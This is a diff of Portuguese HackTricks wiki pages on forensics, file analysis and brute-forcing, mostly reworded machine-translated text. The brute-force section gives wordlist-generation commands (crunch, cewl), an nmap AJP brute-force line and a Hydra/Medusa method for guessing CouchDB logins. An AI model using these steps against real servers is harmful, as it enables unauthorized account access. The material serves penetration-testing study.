|
||||
|
@ -340,7 +340,7 @@ usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid
|
|||
```
|
||||
Mais exemplos e informações estão disponíveis no GitHub: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e automatizar facilmente fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
|
@ -357,7 +357,7 @@ Por fim, procure por contas sem senhas ou com senhas facilmente adivinháveis.
|
|||
## Examinar o Sistema de Arquivos
|
||||
|
||||
As estruturas de dados do sistema de arquivos podem fornecer quantidades substanciais de **informações** relacionadas a um incidente de **malware**, incluindo o **momento** dos eventos e o **conteúdo** real do **malware**.\
|
||||
O **malware** está sendo cada vez mais projetado para **dificultar a análise do sistema de arquivos**. Alguns malwares alteram os carimbos de data e hora em arquivos maliciosos para torná-los mais difíceis de serem encontrados com a análise de linha do tempo. Outros códigos maliciosos são projetados para armazenar apenas determinadas informações na memória, a fim de minimizar a quantidade de dados armazenados no sistema de arquivos.\
|
||||
O **malware** está sendo cada vez mais projetado para **dificultar a análise do sistema de arquivos**. Alguns malwares alteram os carimbos de data e hora em arquivos maliciosos para torná-los mais difíceis de serem encontrados com análise de linha do tempo. Outros códigos maliciosos são projetados para armazenar apenas determinadas informações na memória, a fim de minimizar a quantidade de dados armazenados no sistema de arquivos.\
|
||||
Para lidar com essas técnicas antiforenses, é necessário prestar **atenção cuidadosa à análise de linha do tempo** dos carimbos de data e hora do sistema de arquivos e aos arquivos armazenados em locais comuns onde o malware pode ser encontrado.
|
||||
|
||||
* Usando o **autopsy**, você pode ver a linha do tempo dos eventos que podem ser úteis para descobrir atividades suspeitas. Você também pode usar o recurso `mactime` do **Sleuth Kit** diretamente.
|
||||
|
@ -367,8 +367,8 @@ Para lidar com essas técnicas antiforenses, é necessário prestar **atenção
|
|||
* Cópias setuid de /bin/bash no sistema `find / -user root -perm -04000 –print`
|
||||
* Analise os carimbos de data e hora dos **inodes excluídos para um grande número de arquivos excluídos ao mesmo tempo**, o que pode indicar atividade maliciosa, como a instalação de um rootkit ou serviço trojanizado.
|
||||
* Como os inodes são alocados com base no próximo disponível, **arquivos maliciosos colocados no sistema aproximadamente ao mesmo tempo podem receber inodes consecutivos**. Portanto, depois de localizar um componente de malware, pode ser produtivo inspecionar os inodes vizinhos.
|
||||
* Verifique também diretórios como _/bin_ ou _/sbin_, pois a **data de modificação e/ou alteração** de arquivos novos ou modificados pode ser interessante.
|
||||
* É interessante ver os arquivos e pastas de um diretório **ordenados por data de criação** em vez de alfabeticamente para ver quais arquivos ou pastas são mais recentes (geralmente os últimos).
|
||||
* Verifique também diretórios como _/bin_ ou _/sbin_, pois a **hora de modificação e/ou alteração** de novos arquivos ou arquivos modificados pode ser interessante.
|
||||
* É interessante ver os arquivos e pastas de um diretório **ordenados por data de criação** em vez de ordem alfabética para ver quais arquivos ou pastas são mais recentes (os últimos geralmente).
|
||||
|
||||
Você pode verificar os arquivos mais recentes de uma pasta usando `ls -laR --sort=time /bin`\
|
||||
Você pode verificar os inodes dos arquivos dentro de uma pasta usando `ls -lai /bin |sort -n`
|
||||
|
@ -391,13 +391,13 @@ Existem várias maneiras de encontrar arquivos modificados em um sistema Linux.
|
|||
|
||||
1. Comparação de hashes: Calcule os hashes dos arquivos em um momento anterior e compare-os com os hashes atuais. Se houver diferenças nos hashes, isso indica que o arquivo foi modificado.
|
||||
|
||||
2. Verificação de timestamps: Verifique os timestamps dos arquivos para identificar aqueles que foram modificados recentemente. Os timestamps incluem a data e hora da última modificação, acesso e alteração de metadados.
|
||||
2. Verificação de timestamps: Verifique os timestamps dos arquivos para identificar aqueles que foram modificados recentemente. Os timestamps mais comumente usados são o timestamp de acesso (atime), o timestamp de modificação (mtime) e o timestamp de alteração (ctime).
|
||||
|
||||
3. Análise de logs: Analise os logs do sistema em busca de atividades suspeitas. Os logs podem fornecer informações sobre quais arquivos foram acessados ou modificados.
|
||||
3. Análise de logs: Analise os logs do sistema em busca de atividades suspeitas. Os logs podem conter informações sobre arquivos modificados ou acessados recentemente.
|
||||
|
||||
4. Verificação de assinaturas digitais: Verifique as assinaturas digitais dos arquivos para garantir que não tenham sido alterados. As assinaturas digitais são usadas para verificar a integridade e autenticidade dos arquivos.
|
||||
4. Monitoramento de diretórios: Configure um monitoramento em tempo real de diretórios específicos para detectar qualquer modificação. Isso pode ser feito usando ferramentas como o inotify ou o auditd.
|
||||
|
||||
Ao usar essas técnicas, é importante lembrar que os invasores podem tentar ocultar suas atividades, modificando os logs ou os timestamps dos arquivos. Portanto, é necessário realizar uma análise cuidadosa e abrangente para identificar qualquer conteúdo modificado.
|
||||
Ao encontrar arquivos modificados, é importante fazer uma análise mais aprofundada para determinar a natureza das modificações e se elas representam uma ameaça à segurança do sistema.
|
||||
```bash
|
||||
git diff --no-index --diff-filter=M _openwrt1.extracted/squashfs-root/ _openwrt2.extracted/squashfs-root/ | grep -E "^\+" | grep -v "Installed-Time"
|
||||
```
|
||||
|
@ -452,10 +452,10 @@ Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empre
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, alimentados pelas ferramentas comunitárias mais avançadas do mundo.\
|
||||
Obtenha acesso hoje:
|
||||
Acesse hoje:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Descompilar binários python compilados (exe, elf) - Recuperar de .pyc
|
||||
# Descompilar binários compilados de Python (exe, elf) - Recuperar de .pyc
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
|
||||
|
||||
|
@ -194,7 +194,7 @@ Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe
|
|||
### Para criar um payload usando o PyInstaller:
|
||||
|
||||
1. Instale o PyInstaller usando o pip (pip install pyinstaller).
|
||||
2. Em seguida, digite o comando "pyinstaller --onefile hello.py" (lembrando que 'hello.py' é o nosso payload). Isso irá agrupar tudo em um único executável.
|
||||
2. Em seguida, digite o comando "pyinstaller --onefile hello.py" (lembre-se de que 'hello.py' é o nosso payload). Isso irá agrupar tudo em um único executável.
|
||||
```
|
||||
C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
|
||||
108 INFO: PyInstaller: 3.3.1
|
||||
|
@ -211,7 +211,7 @@ C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
|
|||
|
||||
* [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/)
|
||||
|
||||
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
|
||||
|
||||
|
|
|
@ -12,11 +12,11 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje:
|
||||
Acesse hoje mesmo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -39,7 +39,7 @@ Vamos dar uma olhada nos artefatos mais comuns armazenados pelos navegadores.
|
|||
* **Favicons:** São os pequenos ícones encontrados em guias, URLs, favoritos e outros. Eles podem ser usados como outra fonte para obter mais informações sobre o site ou os lugares visitados pelo usuário.
|
||||
* **Sessões do Navegador:** Autoexplicativo.
|
||||
* **Downloads**: Autoexplicativo.
|
||||
* **Dados de Formulário:** Qualquer coisa digitada em formulários geralmente é armazenada pelo navegador, para que da próxima vez que o usuário digitar algo em um formulário, o navegador possa sugerir dados inseridos anteriormente.
|
||||
* **Dados de Formulário:** Tudo o que é digitado em formulários geralmente é armazenado pelo navegador, para que da próxima vez que o usuário digitar algo em um formulário, o navegador possa sugerir dados inseridos anteriormente.
|
||||
* **Miniaturas:** Autoexplicativo.
|
||||
* **Custom Dictionary.txt**: Palavras adicionadas ao dicionário pelo usuário.
|
||||
|
||||
|
@ -220,7 +220,7 @@ A ferramenta [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_histo
|
|||
|
||||
Pesquise em _**userprofile%\Appdata\Local\Microsoft\Windows\History\History.IE5**_ e _**userprofile%\Appdata\Local\Microsoft\Windows\History\Low\History.IE5**_
|
||||
|
||||
### **URLs digitadas**
|
||||
### **URLs Digitadas**
|
||||
|
||||
Essas informações podem ser encontradas no registro NTDUSER.DAT no caminho:
|
||||
|
||||
|
@ -267,7 +267,7 @@ O Opera **armazena o histórico do navegador e os dados de download no mesmo for
|
|||
* **Anti-phishing integrado do navegador:** `grep --color 'fraud_protection_enabled' ~/Library/Application Support/com.operasoftware.Opera/Preferences`
|
||||
* **fraud\_protection\_enabled** deve ser **true**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para criar e **automatizar fluxos de trabalho** com facilidade, usando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
|
@ -74,7 +74,7 @@ No entanto, as principais informações são:
|
|||
Além dessas informações, para descriptografar os bancos de dados, você ainda precisa de:
|
||||
|
||||
* A **chave DPAPI criptografada**: Você pode encontrá-la no registro dentro de `NTUSER.DAT\Software\Dropbox\ks\client` (exporte esses dados como binário)
|
||||
* Os hives **`SYSTEM`** e **`SECURITY`**
|
||||
* As colmeias **`SYSTEM`** e **`SECURITY`**
|
||||
* As **chaves mestras DPAPI**: Que podem ser encontradas em `\Users\<nome de usuário>\AppData\Roaming\Microsoft\Protect`
|
||||
* O **nome de usuário** e **senha** do usuário do Windows
|
||||
|
||||
|
@ -111,7 +111,7 @@ Outras tabelas dentro desse banco de dados contêm informações mais interessan
|
|||
* **deleted\_fields**: Arquivos excluídos do Dropbox
|
||||
* **date\_added**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para criar e automatizar facilmente fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
|
|
|
@ -12,10 +12,10 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -91,13 +91,13 @@ O script `oledump` é uma ferramenta poderosa para análise de arquivos OLE. Ele
|
|||
|
||||
### olebrowse
|
||||
|
||||
O script `olebrowse` é uma ferramenta interativa para explorar arquivos OLE. Ele permite navegar pela estrutura do arquivo, visualizar objetos e streams, e até mesmo editar e salvar modificações no arquivo. Isso pode ser útil para examinar detalhadamente um arquivo OLE durante uma análise forense.
|
||||
O script `olebrowse` é uma ferramenta interativa para análise de arquivos OLE. Ele fornece uma interface gráfica que permite explorar a estrutura interna de um arquivo OLE e visualizar os objetos presentes no arquivo. Isso pode facilitar a análise forense de arquivos do Office.
|
||||
|
||||
### olemeta
|
||||
|
||||
O script `olemeta` é usado para extrair metadados de arquivos OLE. Ele pode fornecer informações sobre o autor, título, assunto e outras propriedades do arquivo. Isso pode ser útil para obter informações adicionais sobre um arquivo durante uma investigação forense.
|
||||
O script `olemeta` é usado para extrair metadados de arquivos OLE. Ele pode fornecer informações sobre o autor, título, assunto e outras propriedades do arquivo. Isso pode ser útil para a análise forense de documentos do Office.
|
||||
|
||||
Essas ferramentas do oletools podem ser usadas em conjunto para realizar uma análise forense completa de arquivos do Microsoft Office. Elas podem ajudar a identificar conteúdo malicioso, extrair informações importantes e fornecer insights valiosos durante uma investigação.
|
||||
Essas ferramentas do oletools podem ser usadas para ajudar na análise forense de arquivos do Microsoft Office e na detecção de conteúdo malicioso.
|
||||
```bash
|
||||
sudo pip3 install -U oletools
|
||||
olevba -c /path/to/document #Extract macros
|
||||
|
@ -110,10 +110,10 @@ Funções de macro como `AutoOpen`, `AutoExec` ou `Document_Open` serão **execu
|
|||
|
||||
* [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para criar e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -122,7 +122,7 @@ Acesse hoje mesmo:
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do Telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -8,11 +8,11 @@
|
|||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo Telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
|
@ -22,13 +22,13 @@ Acesse hoje mesmo:
|
|||
|
||||
De: [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/)
|
||||
|
||||
O formato de arquivo PDF é extremamente complicado, com truques e esconderijos suficientes [para escrever sobre por anos](https://www.sultanik.com/pocorgtfo/). Isso também o torna popular para desafios de forense em CTF. A NSA escreveu um guia sobre esses esconderijos em 2008 intitulado "Hidden Data and Metadata in Adobe PDF Files: Publication Risks and Countermeasures". Não está mais disponível em sua URL original, mas você pode [encontrar uma cópia aqui](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf). Ange Albertini também mantém um wiki no GitHub com [truques de formato de arquivo PDF](https://github.com/corkami/docs/blob/master/PDF/PDF.md).
|
||||
O formato de arquivo PDF é extremamente complicado, com truques e esconderijos suficientes [para escrever sobre por anos](https://www.sultanik.com/pocorgtfo/). Isso também o torna popular para desafios de forense em CTF. A NSA escreveu um guia sobre esses esconderijos em 2008 intitulado "Hidden Data and Metadata in Adobe PDF Files: Publication Risks and Countermeasures". Não está mais disponível em sua URL original, mas você pode [encontrar uma cópia aqui](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf). Ange Albertini também mantém um wiki no GitHub com [truques do formato de arquivo PDF](https://github.com/corkami/docs/blob/master/PDF/PDF.md).
|
||||
|
||||
O formato PDF é parcialmente texto simples, como HTML, mas com muitos "objetos" binários no conteúdo. Didier Stevens escreveu [bom material introdutório](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/) sobre o formato. Os objetos binários podem ser dados comprimidos ou até mesmo criptografados, e incluem conteúdo em linguagens de script como JavaScript ou Flash. Para exibir a estrutura de um PDF, você pode navegá-lo com um editor de texto ou abri-lo com um editor de formato de arquivo PDF como o Origami.
|
||||
|
||||
[qpdf](https://github.com/qpdf/qpdf) é uma ferramenta que pode ser útil para explorar um PDF e transformar ou extrair informações dele. Outra é um framework em Ruby chamado [Origami](https://github.com/mobmewireless/origami-pdf).
|
||||
|
||||
Ao explorar o conteúdo de um PDF em busca de dados ocultos, alguns dos esconderijos a serem verificados incluem:
|
||||
Ao explorar o conteúdo de um PDF em busca de dados ocultos, alguns dos esconderijos para verificar incluem:
|
||||
|
||||
* camadas não visíveis
|
||||
* o formato de metadados "XMP" da Adobe
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
# Brute Force - CheatSheet
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e automatizar facilmente fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
|
@ -54,15 +54,15 @@ crunch 6 8 -t ,@@^^%%
|
|||
```
|
||||
### Cewl
|
||||
|
||||
Cewl is a tool used for generating custom wordlists by scraping websites or documents. It is particularly useful for performing brute force attacks. The tool analyzes the given source and extracts words based on various criteria such as length, frequency, and relevance. Cewl can be used to create wordlists that are tailored to the target, increasing the chances of success in a brute force attack.
|
||||
Cewl is a tool used for generating custom wordlists by scraping websites or documents. It is particularly useful for password cracking through brute force attacks. Cewl works by analyzing the target website or document and extracting relevant keywords and phrases. These keywords and phrases are then combined to create a wordlist that can be used in brute force attacks.
|
||||
|
||||
To use Cewl, you need to provide it with a target URL or a local file. The tool then crawls the source and extracts words based on the specified criteria. By default, Cewl considers words with a minimum length of four characters. However, you can adjust this setting to include shorter or longer words.
|
||||
To use Cewl, you need to provide it with a target URL or a document. Cewl will then crawl the target and extract the desired keywords and phrases. The extracted data can be saved to a file for further analysis or directly used in password cracking tools.
|
||||
|
||||
Cewl also allows you to specify the depth of the crawl, which determines how many levels deep the tool will search for words. This can be useful when targeting specific sections of a website or when you want to limit the scope of the wordlist.
|
||||
Cewl has various options that allow you to customize the wordlist generation process. For example, you can specify the minimum and maximum length of the extracted words, exclude certain words or characters, and even apply regular expressions to filter the extracted data.
|
||||
|
||||
Once Cewl has finished analyzing the source, it generates a wordlist that can be used for brute force attacks. This wordlist can be saved to a file for later use or used directly with other tools such as Hydra or Medusa.
|
||||
Using Cewl can significantly improve the success rate of brute force attacks by creating wordlists that are tailored to the target. By including relevant keywords and phrases, the chances of cracking passwords or gaining unauthorized access are greatly increased.
|
||||
|
||||
Overall, Cewl is a powerful tool for generating custom wordlists that can greatly enhance the effectiveness of brute force attacks. By tailoring the wordlist to the target, you can increase the chances of success and reduce the time required to crack passwords or gain unauthorized access.
|
||||
It is important to note that using Cewl for malicious purposes, such as hacking into unauthorized systems, is illegal and unethical. Cewl should only be used for legitimate purposes, such as penetration testing or password recovery on authorized systems. Always ensure that you have proper authorization before using Cewl or any other hacking tool.
|
||||
```bash
|
||||
cewl example.com -m 5 -w words.txt
|
||||
```
|
||||
|
@ -108,7 +108,7 @@ Finished in 0.920s.
|
|||
* [**https://hashkiller.io/listmanager**](https://hashkiller.io/listmanager)
|
||||
* [**https://github.com/Karanxa/Bug-Bounty-Wordlists**](https://github.com/Karanxa/Bug-Bounty-Wordlists)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
|
@ -136,11 +136,11 @@ O Protocolo de Janela de Ativação (AJP) é um protocolo de comunicação usado
|
|||
|
||||
O AJP é um protocolo binário que permite uma comunicação eficiente e de baixa latência entre os servidores. Ele suporta várias operações, como a transferência de solicitações HTTP, a obtenção de informações sobre a sessão do usuário e a execução de solicitações assíncronas.
|
||||
|
||||
No entanto, o AJP também pode ser explorado por hackers para realizar ataques de força bruta. Um ataque de força bruta envolve tentar todas as combinações possíveis de senhas até encontrar a correta. Os hackers podem usar ferramentas automatizadas para enviar solicitações AJP com várias combinações de senhas em uma tentativa de adivinhar a senha correta e obter acesso não autorizado ao servidor de aplicativos.
|
||||
No entanto, o AJP também pode ser explorado por hackers para realizar ataques de força bruta. Um ataque de força bruta envolve tentar todas as combinações possíveis de senhas até encontrar a correta. Os hackers podem usar ferramentas automatizadas para enviar solicitações AJP com várias senhas, na esperança de encontrar uma senha válida e obter acesso não autorizado ao servidor de aplicativos.
|
||||
|
||||
Para proteger contra ataques de força bruta no AJP, é importante implementar medidas de segurança adequadas, como a configuração de senhas fortes e a limitação do número de tentativas de login. Além disso, é recomendável monitorar os logs do servidor em busca de atividades suspeitas e manter o software do servidor atualizado com as últimas correções de segurança.
|
||||
|
||||
Em resumo, o AJP é um protocolo de comunicação usado para transferir solicitações entre servidores web e servidores de aplicativos. Embora seja eficiente e de baixa latência, também pode ser explorado por hackers para realizar ataques de força bruta. Portanto, é essencial implementar medidas de segurança adequadas para proteger contra esses ataques.
|
||||
Em resumo, o AJP é um protocolo de comunicação usado para transferir solicitações entre servidores web e servidores de aplicativos. Embora seja eficiente, também pode ser explorado por hackers para realizar ataques de força bruta. Portanto, é essencial implementar medidas de segurança adequadas para proteger contra esses ataques.
|
||||
```bash
|
||||
nmap --script ajp-brute -p 8009 <IP>
|
||||
```
|
||||
|
@ -166,35 +166,35 @@ O brute force é uma técnica de ataque que envolve tentar todas as combinaçõe
|
|||
|
||||
O CouchDB é um banco de dados NoSQL que armazena dados em formato JSON. Ele possui uma API RESTful que permite a autenticação com nome de usuário e senha.
|
||||
|
||||
Um ataque de força bruta no CouchDB envolve tentar várias combinações de nomes de usuário e senhas até encontrar um par válido. Isso pode ser feito usando ferramentas automatizadas, como scripts ou programas especializados.
|
||||
Um ataque de força bruta no CouchDB envolve o envio de várias solicitações de autenticação com diferentes combinações de nomes de usuário e senhas. O objetivo é encontrar uma combinação válida que permita o acesso não autorizado ao banco de dados.
|
||||
|
||||
## Metodologia
|
||||
|
||||
Aqui está uma metodologia básica para realizar um ataque de força bruta no CouchDB:
|
||||
|
||||
1. Identifique o alvo: determine o endereço IP ou o nome de domínio do CouchDB que você deseja atacar.
|
||||
1. Identifique o alvo: determine o URL do CouchDB que deseja atacar.
|
||||
|
||||
2. Enumere os usuários: tente descobrir os nomes de usuário válidos no CouchDB. Isso pode ser feito por meio de engenharia social, pesquisa de informações públicas ou tentativa e erro.
|
||||
2. Crie uma lista de senhas: compile uma lista de senhas comumente usadas, senhas vazadas ou senhas relacionadas ao alvo.
|
||||
|
||||
3. Crie uma lista de senhas: crie uma lista de senhas comumente usadas, senhas vazadas ou senhas relacionadas ao alvo. Você também pode usar ferramentas de geração de senhas para criar uma lista de senhas aleatórias.
|
||||
3. Crie uma lista de nomes de usuário: se você souber os nomes de usuário válidos, inclua-os na lista. Caso contrário, você pode tentar nomes de usuário comuns, como "admin" ou "root".
|
||||
|
||||
4. Execute o ataque: use uma ferramenta de força bruta, como Hydra ou Medusa, para automatizar o processo de tentativa de login. Configure a ferramenta para usar a lista de usuários e senhas que você criou.
|
||||
4. Automatize o ataque: use uma ferramenta de força bruta, como Hydra ou Medusa, para automatizar o processo de envio de solicitações de autenticação com diferentes combinações de nomes de usuário e senhas.
|
||||
|
||||
5. Analise os resultados: verifique os resultados do ataque para identificar quais combinações de usuário e senha foram bem-sucedidas. Isso pode ser feito por meio de logs ou relatórios gerados pela ferramenta de força bruta.
